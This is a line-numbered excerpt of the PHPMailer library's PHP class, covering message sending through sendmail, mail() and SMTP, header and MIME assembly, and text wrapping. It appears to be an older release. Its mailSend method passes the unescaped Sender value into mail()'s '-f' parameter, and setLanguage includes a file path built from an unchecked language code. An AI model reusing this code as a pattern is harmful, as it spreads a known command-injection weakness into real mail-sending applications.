2216 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
2217 }
2218 }
2219
2220 /**
2221 * Create a message and send it.
2222 * Uses the sending method specified by $Mailer.
2223 * @throws phpmailerException
2224 * @return boolean false on error - See the ErrorInfo property for details of the error.
2225 */
2226 public function send()
2227 {
2228 try {
2229 if (!$this->preSend()) {
2230 return false;
2231 }
2232 return $this->postSend();
2233 } catch (phpmailerException $exc) {
2234 $this->mailHeader = '';
2235 $this->setError($exc->getMessage());
2236 if ($this->exceptions) {
2237 throw $exc;
2238 }
2239 return false;
2240 }
2241 }
2242
2243 /**
2244 * Prepare a message for sending.
2245 * @throws phpmailerException
2246 * @return boolean
2247 */
2248 public function preSend()
2249 {
2250 try {
2251 $this->mailHeader = '';
2252 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
2253 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
2254 }
2255
2256 // Set whether the message is multipart/alternative
2257 if (!empty($this->AltBody)) {
2258 $this->ContentType = 'multipart/alternative';
2259 }
2260
2261 $this->error_count = 0; // Reset errors
2262 $this->setMessageType();
2263 // Refuse to send an empty message unless we are specifically allowing it
2264 if (!$this->AllowEmpty and empty($this->Body)) {
2265 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
2266 }
2267
2268 // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
2269 $this->MIMEHeader = '';
2270 $this->MIMEBody = $this->createBody();
2271 // createBody may have added some headers, so retain them
2272 $tempheaders = $this->MIMEHeader;
2273 $this->MIMEHeader = $this->createHeader();
2274 $this->MIMEHeader .= $tempheaders;
2275
2276 // To capture the complete message when using mail(), create
2277 // an extra header list which createHeader() doesn't fold in
2278 if ($this->Mailer == 'mail') {
2279 if (count($this->to) > 0) {
2280 $this->mailHeader .= $this->addrAppend('To', $this->to);
2281 } else {
2282 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
2283 }
2284 $this->mailHeader .= $this->headerLine(
2285 'Subject',
2286 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
2287 );
2288 }
2289
2290 // Sign with DKIM if enabled
2291 if (!empty($this->DKIM_domain)
2292 && !empty($this->DKIM_private)
2293 && !empty($this->DKIM_selector)
2294 && file_exists($this->DKIM_private)) {
2295 $header_dkim = $this->DKIM_Add(
2296 $this->MIMEHeader . $this->mailHeader,
2297 $this->encodeHeader($this->secureHeader($this->Subject)),
2298 $this->MIMEBody
2299 );
2300 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
2301 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
2302 }
2303 return true;
2304 } catch (phpmailerException $exc) {
2305 $this->setError($exc->getMessage());
2306 if ($this->exceptions) {
2307 throw $exc;
2308 }
2309 return false;
2310 }
2311 }
2312
2313 /**
2314 * Actually send a message.
2315 * Send the email via the selected mechanism
2316 * @throws phpmailerException
2317 * @return boolean
2318 */
2319 public function postSend()
2320 {
2321 try {
2322 // Choose the mailer and send through it
2323 switch ($this->Mailer) {
2324 case 'sendmail':
2325 case 'qmail':
2326 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
2327 case 'smtp':
2328 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
2329 case 'mail':
2330 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
2331 default:
2332 $sendMethod = $this->Mailer.'Send';
2333 if (method_exists($this, $sendMethod)) {
2334 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
2335 }
2336
2337 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
2338 }
2339 } catch (phpmailerException $exc) {
2340 $this->setError($exc->getMessage());
2341 $this->edebug($exc->getMessage());
2342 if ($this->exceptions) {
2343 throw $exc;
2344 }
2345 }
2346 return false;
2347 }
2348
2349 /**
2350 * Send mail using the $Sendmail program.
2351 * @param string $header The message headers
2352 * @param string $body The message body
2353 * @see PHPMailer::$Sendmail
2354 * @throws phpmailerException
2355 * @access protected
2356 * @return boolean
2357 */
2358 protected function sendmailSend($header, $body)
2359 {
2360 if ($this->Sender != '') {
2361 if ($this->Mailer == 'qmail') {
2362 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
2363 } else {
2364 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
2365 }
2366 } else {
2367 if ($this->Mailer == 'qmail') {
2368 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
2369 } else {
2370 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
2371 }
2372 }
2373 if ($this->SingleTo) {
2374 foreach ($this->SingleToArray as $toAddr) {
2375 if (!@$mail = popen($sendmail, 'w')) {
2376 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2377 }
2378 fputs($mail, 'To: ' . $toAddr . "\n");
2379 fputs($mail, $header);
2380 fputs($mail, $body);
2381 $result = pclose($mail);
2382 $this->doCallback(
2383 ($result == 0),
2384 array($toAddr),
2385 $this->cc,
2386 $this->bcc,
2387 $this->Subject,
2388 $body,
2389 $this->From
2390 );
2391 if ($result != 0) {
2392 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2393 }
2394 }
2395 } else {
2396 if (!@$mail = popen($sendmail, 'w')) {
2397 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2398 }
2399 fputs($mail, $header);
2400 fputs($mail, $body);
2401 $result = pclose($mail);
2402 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2403 if ($result != 0) {
2404 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2405 }
2406 }
2407 return true;
2408 }
2409
2410 /**
2411 * Send mail using the PHP mail() function.
2412 * @param string $header The message headers
2413 * @param string $body The message body
2414 * @link http://www.php.net/manual/en/book.mail.php
2415 * @throws phpmailerException
2416 * @access protected
2417 * @return boolean
2418 */
2419 protected function mailSend($header, $body)
2420 {
2421 $toArr = array();
2422 foreach ($this->to as $toaddr) {
2423 $toArr[] = $this->addrFormat($toaddr);
2424 }
2425 $to = implode(', ', $toArr);
2426
2427 if (empty($this->Sender)) {
2428 $params = ' ';
2429 } else {
2430 $params = sprintf('-f%s', $this->Sender);
2431 }
2432 if ($this->Sender != '' and !ini_get('safe_mode')) {
2433 $old_from = ini_get('sendmail_from');
2434 ini_set('sendmail_from', $this->Sender);
2435 }
2436 $result = false;
2437 if ($this->SingleTo && count($toArr) > 1) {
2438 foreach ($toArr as $toAddr) {
2439 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
2440 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2441 }
2442 } else {
2443 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
2444 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2445 }
2446 if (isset($old_from)) {
2447 ini_set('sendmail_from', $old_from);
2448 }
2449 if (!$result) {
2450 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
2451 }
2452 return true;
2453 }
2454 /**
2455 * Get an instance to use for SMTP operations.
2456 * Override this function to load your own SMTP implementation
2457 * @return SMTP
2458 */
2459 public function getSMTPInstance()
2460 {
2461 if (!is_object($this->smtp)) {
2462 $this->smtp = new SMTP;
2463 }
2464 return $this->smtp;
2465 }
2466
2467 protected function smtpSend($header, $body)
2468 {
2469 $bad_rcpt = array();
2470 if (!$this->smtpConnect($this->SMTPOptions)) {
2471 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
2472 }
2473 if ('' == $this->Sender) {
2474 $smtp_from = $this->From;
2475 } else {
2476 $smtp_from = $this->Sender;
2477 }
2478 if (!$this->smtp->mail($smtp_from)) {
2479 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
2480 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
2481 }
2482
2483 // Attempt to send to all recipients
2484 foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
2485 foreach ($togroup as $to) {
2486 if (!$this->smtp->recipient($to[0])) {
2487 $error = $this->smtp->getError();
2488 $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
2489 $isSent = false;
2490 } else {
2491 $isSent = true;
2492 }
2493 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
2494 }
2495 }
2496
2497 // Only send the DATA command if we have viable recipients
2498 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
2499 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
2500 }
2501 if ($this->SMTPKeepAlive) {
2502 $this->smtp->reset();
2503 } else {
2504 $this->smtp->quit();
2505 $this->smtp->close();
2506 }
2507 //Create error message for any bad addresses
2508 if (count($bad_rcpt) > 0) {
2509 $errstr = '';
2510 foreach ($bad_rcpt as $bad) {
2511 $errstr .= $bad['to'] . ': ' . $bad['error'];
2512 }
2513 throw new phpmailerException(
2514 $this->lang('recipients_failed') . $errstr,
2515 self::STOP_CONTINUE
2516 );
2517 }
2518 return true;
2519 }
2520
2521 /**
2522 * Initiate a connection to an SMTP server.
2523 * Returns false if the operation failed.
2524 * @param array $options An array of options compatible with stream_context_create()
2525 * @uses SMTP
2526 * @access public
2527 * @throws phpmailerException
2528 * @return boolean
2529 */
2530 public function smtpConnect($options = array())
2531 {
2532 if (is_null($this->smtp)) {
2533 $this->smtp = $this->getSMTPInstance();
2534 }
2535
2536 // Already connected?
2537 if ($this->smtp->connected()) {
2538 return true;
2539 }
2540
2541 $this->smtp->setTimeout($this->Timeout);
2542 $this->smtp->setDebugLevel($this->SMTPDebug);
2543 $this->smtp->setDebugOutput($this->Debugoutput);
2544 $this->smtp->setVerp($this->do_verp);
2545 $hosts = explode(';', $this->Host);
2546 $lastexception = null;
2547
2548 foreach ($hosts as $hostentry) {
2549 $hostinfo = array();
2550 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
2551 // Not a valid host entry
2552 continue;
2553 }
2554 // $hostinfo[2]: optional ssl or tls prefix
2555 // $hostinfo[3]: the hostname
2556 // $hostinfo[4]: optional port number
2557 // The host string prefix can temporarily override the current setting for SMTPSecure
2558 // If it's not specified, the default value is used
2559 $prefix = '';
2560 $secure = $this->SMTPSecure;
2561 $tls = ($this->SMTPSecure == 'tls');
2562 if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
2563 $prefix = 'ssl://';
2564 $tls = false; // Can't have SSL and TLS at the same time
2565 $secure = 'ssl';
2566 } elseif ($hostinfo[2] == 'tls') {
2567 $tls = true;
2568 // tls doesn't use a prefix
2569 $secure = 'tls';
2570 }
2571 //Do we need the OpenSSL extension?
2572 $sslext = defined('OPENSSL_ALGO_SHA1');
2573 if ('tls' === $secure or 'ssl' === $secure) {
2574 //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
2575 if (!$sslext) {
2576 throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
2577 }
2578 }
2579 $host = $hostinfo[3];
2580 $port = $this->Port;
2581 $tport = (integer)$hostinfo[4];
2582 if ($tport > 0 and $tport < 65536) {
2583 $port = $tport;
2584 }
2585 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
2586 try {
2587 if ($this->Helo) {
2588 $hello = $this->Helo;
2589 } else {
2590 $hello = $this->serverHostname();
2591 }
2592 $this->smtp->hello($hello);
2593 //Automatically enable TLS encryption if:
2594 // * it's not disabled
2595 // * we have openssl extension
2596 // * we are not already using SSL
2597 // * the server offers STARTTLS
2598 if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
2599 $tls = true;
2600 }
2601 if ($tls) {
2602 if (!$this->smtp->startTLS()) {
2603 throw new phpmailerException($this->lang('connect_host'));
2604 }
2605 // We must resend HELO after tls negotiation
2606 $this->smtp->hello($hello);
2607 }
2608 if ($this->SMTPAuth) {
2609 if (!$this->smtp->authenticate(
2610 $this->Username,
2611 $this->Password,
2612 $this->AuthType,
2613 $this->Realm,
2614 $this->Workstation
2615 )
2616 ) {
2617 throw new phpmailerException($this->lang('authenticate'));
2618 }
2619 }
2620 return true;
2621 } catch (phpmailerException $exc) {
2622 $lastexception = $exc;
2623 $this->edebug($exc->getMessage());
2624 // We must have connected, but then failed TLS or Auth, so close connection nicely
2625 $this->smtp->quit();
2626 }
2627 }
2628 }
2629 // If we get here, all connection attempts have failed, so close connection hard
2630 $this->smtp->close();
2631 // As we've caught all exceptions, just report whatever the last one was
2632 if ($this->exceptions and !is_null($lastexception)) {
2633 throw $lastexception;
2634 }
2635 return false;
2636 }
2637
2638 /**
2639 * Close the active SMTP session if one exists.
2640 * @return void
2641 */
2642 public function smtpClose()
2643 {
2644 if ($this->smtp !== null) {
2645 if ($this->smtp->connected()) {
2646 $this->smtp->quit();
2647 $this->smtp->close();
2648 }
2649 }
2650 }
2651
2652 /**
2653 * Set the language for error messages.
2654 * Returns false if it cannot load the language file.
2655 * The default language is English.
2656 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
2657 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
2658 * @return boolean
2659 * @access public
2660 */
2661 public function setLanguage($langcode = 'en', $lang_path = '')
2662 {
2663 // Define full set of translatable strings in English
2664 $PHPMAILER_LANG = array(
2665 'authenticate' => 'SMTP Error: Could not authenticate.',
2666 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
2667 'data_not_accepted' => 'SMTP Error: data not accepted.',
2668 'empty_message' => 'Message body empty',
2669 'encoding' => 'Unknown encoding: ',
2670 'execute' => 'Could not execute: ',
2671 'file_access' => 'Could not access file: ',
2672 'file_open' => 'File Error: Could not open file: ',
2673 'from_failed' => 'The following From address failed: ',
2674 'instantiate' => 'Could not instantiate mail function.',
2675 'invalid_address' => 'Invalid address',
2676 'mailer_not_supported' => ' mailer is not supported.',
2677 'provide_address' => 'You must provide at least one recipient email address.',
2678 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
2679 'signing' => 'Signing Error: ',
2680 'smtp_connect_failed' => 'SMTP connect() failed.',
2681 'smtp_error' => 'SMTP server error: ',
2682 'variable_set' => 'Cannot set or reset variable: ',
2683 'extension_missing' => 'Extension missing: '
2684 );
2685 if (empty($lang_path)) {
2686 // Calculate an absolute path so it can work if CWD is not here
2687 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
2688 }
2689 $foundlang = true;
2690 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
2691 // There is no English translation file
2692 if ($langcode != 'en') {
2693 // Make sure language file path is readable
2694 if (!is_readable($lang_file)) {
2695 $foundlang = false;
2696 } else {
2697 // Overwrite language-specific strings.
2698 // This way we'll never have missing translation keys.
2699 $foundlang = include $lang_file;
2700 }
2701 }
2702 $this->language = $PHPMAILER_LANG;
2703 return (boolean)$foundlang; // Returns false if language not found
2704 }
2705
2706 /**
2707 * Get the array of strings for the current language.
2708 * @return array
2709 */
2710 public function getTranslations()
2711 {
2712 return $this->language;
2713 }
2714
2715 /**
2716 * Create recipient headers.
2717 * @access public
2718 * @param string $type
2719 * @param array $addr An array of recipient,
2720 * where each recipient is a 2-element indexed array with element 0 containing an address
2721 * and element 1 containing a name, like:
2722 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
2723 * @return string
2724 */
2725 public function addrAppend($type, $addr)
2726 {
2727 $addresses = array();
2728 foreach ($addr as $address) {
2729 $addresses[] = $this->addrFormat($address);
2730 }
2731 return $type . ': ' . implode(', ', $addresses) . $this->LE;
2732 }
2733
2734 /**
2735 * Format an address for use in a message header.
2736 * @access public
2737 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
2738 * like array('joe@example.com', 'Joe User')
2739 * @return string
2740 */
2741 public function addrFormat($addr)
2742 {
2743 if (empty($addr[1])) { // No name provided
2744 return $this->secureHeader($addr[0]);
2745 } else {
2746 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
2747 $addr[0]
2748 ) . '>';
2749 }
2750 }
2751
2752 /**
2753 * Word-wrap message.
2754 * For use with mailers that do not automatically perform wrapping
2755 * and for quoted-printable encoded messages.
2756 * Original written by philippe.
2757 * @param string $message The message to wrap
2758 * @param integer $length The line length to wrap to
2759 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
2760 * @access public
2761 * @return string
2762 */
2763 public function wrapText($message, $length, $qp_mode = false)
2764 {
2765 if ($qp_mode) {
2766 $soft_break = sprintf(' =%s', $this->LE);
2767 } else {
2768 $soft_break = $this->LE;
2769 }
2770 // If utf-8 encoding is used, we will need to make sure we don't
2771 // split multibyte characters when we wrap
2772 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
2773 $lelen = strlen($this->LE);
2774 $crlflen = strlen(self::CRLF);
2775
2776 $message = $this->fixEOL($message);
2777 //Remove a trailing line break
2778 if (substr($message, -$lelen) == $this->LE) {
2779 $message = substr($message, 0, -$lelen);
2780 }
2781
2782 //Split message into lines
2783 $lines = explode($this->LE, $message);
2784 //Message will be rebuilt in here
2785 $message = '';
2786 foreach ($lines as $line) {
2787 $words = explode(' ', $line);
2788 $buf = '';
2789 $firstword = true;
2790 foreach ($words as $word) {
2791 if ($qp_mode and (strlen($word) > $length)) {
2792 $space_left = $length - strlen($buf) - $crlflen;
2793 if (!$firstword) {
2794 if ($space_left > 20) {
2795 $len = $space_left;
2796 if ($is_utf8) {
2797 $len = $this->utf8CharBoundary($word, $len);
2798 } elseif (substr($word, $len - 1, 1) == '=') {
2799 $len--;
2800 } elseif (substr($word, $len - 2, 1) == '=') {
2801 $len -= 2;
2802 }
2803 $part = substr($word, 0, $len);
2804 $word = substr($word, $len);
2805 $buf .= ' ' . $part;
2806 $message .= $buf . sprintf('=%s', self::CRLF);
2807 } else {
2808 $message .= $buf . $soft_break;
2809 }
2810 $buf = '';
2811 }
2812 while (strlen($word) > 0) {
2813 if ($length <= 0) {
2814 break;
2815 }
2816 $len = $length;
2817 if ($is_utf8) {
2818 $len = $this->utf8CharBoundary($word, $len);
2819 } elseif (substr($word, $len - 1, 1) == '=') {
2820 $len--;
2821 } elseif (substr($word, $len - 2, 1) == '=') {
2822 $len -= 2;
2823 }
2824 $part = substr($word, 0, $len);
2825 $word = substr($word, $len);
2826
2827 if (strlen($word) > 0) {
2828 $message .= $part . sprintf('=%s', self::CRLF);
2829 } else {
2830 $buf = $part;
2831 }
2832 }
2833 } else {
2834 $buf_o = $buf;
2835 if (!$firstword) {
2836 $buf .= ' ';
2837 }
2838 $buf .= $word;
2839
2840 if (strlen($buf) > $length and $buf_o != '') {
2841 $message .= $buf_o . $soft_break;
2842 $buf = $word;
2843 }
2844 }
2845 $firstword = false;
2846 }
2847 $message .= $buf . self::CRLF;
2848 }
2849
2850 return $message;
2851 }
2852
2853 /**
2854 * Find the last character boundary prior to $maxLength in a utf-8
2855 * quoted-printable encoded string.
2856 * Original written by Colin Brown.
2857 * @access public
2858 * @param string $encodedText utf-8 QP text
2859 * @param integer $maxLength Find the last character boundary prior to this length
2860 * @return integer
2861 */
2862 public function utf8CharBoundary($encodedText, $maxLength)
2863 {
2864 $foundSplitPos = false;
2865 $lookBack = 3;
2866 while (!$foundSplitPos) {
2867 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2868 $encodedCharPos = strpos($lastChunk, '=');
2869 if (false !== $encodedCharPos) {
2870 // Found start of encoded character byte within $lookBack block.
2871 // Check the encoded byte value (the 2 chars after the '=')
2872 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2873 $dec = hexdec($hex);
2874 if ($dec < 128) {
2875 // Single byte character.
2876 // If the encoded char was found at pos 0, it will fit
2877 // otherwise reduce maxLength to start of the encoded char
2878 if ($encodedCharPos > 0) {
2879 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2880 }
2881 $foundSplitPos = true;
2882 } elseif ($dec >= 192) {
2883 // First byte of a multi byte character
2884 // Reduce maxLength to split at start of character
2885 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2886 $foundSplitPos = true;
2887 } elseif ($dec < 192) {
2888 // Middle byte of a multi byte character, look further back
2889 $lookBack += 3;
2890 }
2891 } else {
2892 // No encoded character found
2893 $foundSplitPos = true;
2894 }
2895 }
2896 return $maxLength;
2897 }
2898
2899 /**
2900 * Apply word wrapping to the message body.
2901 * Wraps the message body to the number of chars set in the WordWrap property.
2902 * You should only do this to plain-text bodies as wrapping HTML tags may break them.
2903 * This is called automatically by createBody(), so you don't need to call it yourself.
2904 * @access public
2905 * @return void
2906 */
2907 public function setWordWrap()
2908 {
2909 if ($this->WordWrap < 1) {
2910 return;
2911 }
2912
2913 switch ($this->message_type) {
2914 case 'alt':
2915 case 'alt_inline':
2916 case 'alt_attach':
2917 case 'alt_inline_attach':
2918 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
2919 break;
2920 default:
2921 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
2922 break;
2923 }
2924 }
2925
2926 /**
2927 * Assemble message headers.
2928 * @access public
2929 * @return string The assembled headers
2930 */
2931 public function createHeader()
2932 {
2933 $result = '';
2934
2935 if ($this->MessageDate == '') {
2936 $this->MessageDate = self::rfcDate();
2937 }
2938 $result .= $this->headerLine('Date', $this->MessageDate);
2939
2940
2941 // To be created automatically by mail()
2942 if ($this->SingleTo) {
2943 if ($this->Mailer != 'mail') {
2944 foreach ($this->to as $toaddr) {
2945 $this->SingleToArray[] = $this->addrFormat($toaddr);
2946 }
2947 }
2948 } else {
2949 if (count($this->to) > 0) {
2950 if ($this->Mailer != 'mail') {
2951 $result .= $this->addrAppend('To', $this->to);
2952 }
2953 } elseif (count($this->cc) == 0) {
2954 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
2955 }
2956 }
2957
2958 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
2959
2960 // sendmail and mail() extract Cc from the header before sending
2961 if (count($this->cc) > 0) {
2962 $result .= $this->addrAppend('Cc', $this->cc);
2963 }
2964
2965 // sendmail and mail() extract Bcc from the header before sending
2966 if ((
2967 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
2968 )
2969 and count($this->bcc) > 0
2970 ) {
2971 $result .= $this->addrAppend('Bcc', $this->bcc);
2972 }
2973
2974 if (count($this->ReplyTo) > 0) {
2975 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
2976 }
2977
2978 // mail() sets the subject itself
2979 if ($this->Mailer != 'mail') {
2980 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
2981 }
2982
2983 if ($this->MessageID != '') {
2984 $this->lastMessageID = $this->MessageID;
2985 } else {
2986 $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->ServerHostname());
2987 }
2988 $result .= $this->headerLine('Message-ID', $this->lastMessageID);
2989 $result .= $this->headerLine('X-Priority', $this->Priority);
2990 if ($this->XMailer == '') {
2991 $result .= $this->headerLine(
2992 'X-Mailer',
2993 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
2994 );
2995 } else {
2996 $myXmailer = trim($this->XMailer);
2997 if ($myXmailer) {
2998 $result .= $this->headerLine('X-Mailer', $myXmailer);
2999 }
3000 }
3001
3002 if ($this->ConfirmReadingTo != '') {
3003 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
3004 }
3005
3006 // Add custom headers
3007 foreach ($this->CustomHeader as $header) {
3008 $result .= $this->headerLine(
3009 trim($header[0]),
3010 $this->encodeHeader(trim($header[1]))
3011 );
3012 }
3013 if (!$this->sign_key_file) {
3014 $result .= $this->headerLine('MIME-Version', '1.0');
3015 $result .= $this->getMailMIME();
3016 }
3017
3018 return $result;
3019 }
3020
3021 /**
3022 * Get the message MIME type headers.
3023 * @access public
3024 * @return string
3025 */
3026 public function getMailMIME()
3027 {
3028 $result = '';
3029 $ismultipart = true;
3030 switch ($this->message_type) {
3031 case 'inline':
3032 $result .= $this->headerLine('Content-Type', 'multipart/related;');
3033 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3034 break;
3035 case 'attach':
3036 case 'inline_attach':
3037 case 'alt_attach':
3038 case 'alt_inline_attach':
3039 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
3040 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3041 break;
3042 case 'alt':
3043 case 'alt_inline':
3044 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
3045 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3046 break;
3047 default:
3048 // Catches case 'plain': and case '':
3049 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
3050 $ismultipart = false;
3051 break;
3052 }
3053 // RFC1341 part 5 says 7bit is assumed if not specified
3054 if ($this->Encoding != '7bit') {
3055 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
3056 if ($ismultipart) {
3057 if ($this->Encoding == '8bit') {
3058 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
3059 }
3060 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
3061 } else {
3062 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
3063 }
3064 }
3065
3066 if ($this->Mailer != 'mail') {
3067 $result .= $this->LE;
3068 }
3069
3070 return $result;
3071 }
3072
3073 /**
3074 * Returns the whole MIME message.
3075 * Includes complete headers and body.
3076 * Only valid post preSend().
3077 * @see PHPMailer::preSend()
3078 * @access public
3079 * @return string
3080 */
3081 public function getSentMIMEMessage()
3082 {
3083 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
3084 }
3085
3086 /**
3087 * Assemble the message body.
3088 * Returns an empty string on failure.
3089 * @access public
3090 * @throws phpmailerException
3091 * @return string The assembled message body
3092 */
3093 public function createBody()
3094 {
3095 $body = '';
3096 //Create unique IDs and preset boundaries
3097 $this->uniqueid = md5(uniqid(time()));
3098 $this->boundary[1] = 'b1_' . $this->uniqueid;
3099 $this->boundary[2] = 'b2_' . $this->uniqueid;
3100 $this->boundary[3] = 'b3_' . $this->uniqueid;
3101
3102 if ($this->sign_key_file) {
3103 $body .= $this->getMailMIME() . $this->LE;
3104 }
3105
3106 $this->setWordWrap();
3107
3108 $bodyEncoding = $this->Encoding;
3109 $bodyCharSet = $this->CharSet;
3110 //Can we do a 7-bit downgrade?
3111 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
3112 $bodyEncoding = '7bit';
3113 $bodyCharSet = 'us-ascii';
3114 }
3115 //If lines are too long, and we're not already using an encoding that will shorten them,
3116 //change to quoted-printable transfer encoding
3117 if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
3118 $this->Encoding = 'quoted-printable';
3119 $bodyEncoding = 'quoted-printable';
3120 }
3121
3122 $altBodyEncoding = $this->Encoding;
3123 $altBodyCharSet = $this->CharSet;
3124 //Can we do a 7-bit downgrade?
3125 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
3126 $altBodyEncoding = '7bit';
3127 $altBodyCharSet = 'us-ascii';
3128 }
3129 //If lines are too long, change to quoted-printable transfer encoding
3130 if (self::hasLineLongerThanMax($this->AltBody)) {
3131 $altBodyEncoding = 'quoted-printable';
3132 }
3133 //Use this as a preamble in all multipart message types
3134 $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
3135 switch ($this->message_type) {
3136 case 'inline':
3137 $body .= $mimepre;
3138 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
3139 $body .= $this->encodeString($this->Body, $bodyEncoding);
3140 $body .= $this->LE . $this->LE;
3141 $body .= $this->attachAll('inline', $this->boundary[1]);
3142 break;
3143 case 'attach':
3144 $body .= $mimepre;
3145 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
3146 $body .= $this->encodeString($this->Body, $bodyEncoding);
3147 $body .= $this->LE . $this->LE;
3148 $body .= $this->attachAll('attachment', $this->boundary[1]);
3149 break;
3150 case 'inline_attach':
3151 $body .= $mimepre;
3152 $body .= $this->textLine('--' . $this->boundary[1]);
3153 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3154 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3155 $body .= $this->LE;
3156 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
3157 $body .= $this->encodeString($this->Body, $bodyEncoding);
3158 $body .= $this->LE . $this->LE;
3159 $body .= $this->attachAll('inline', $this->boundary[2]);
3160 $body .= $this->LE;
3161 $body .= $this->attachAll('attachment', $this->boundary[1]);
3162 break;
3163 case 'alt':
3164 $body .= $mimepre;
3165 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3166 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3167 $body .= $this->LE . $this->LE;
3168 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
3169 $body .= $this->encodeString($this->Body, $bodyEncoding);
3170 $body .= $this->LE . $this->LE;
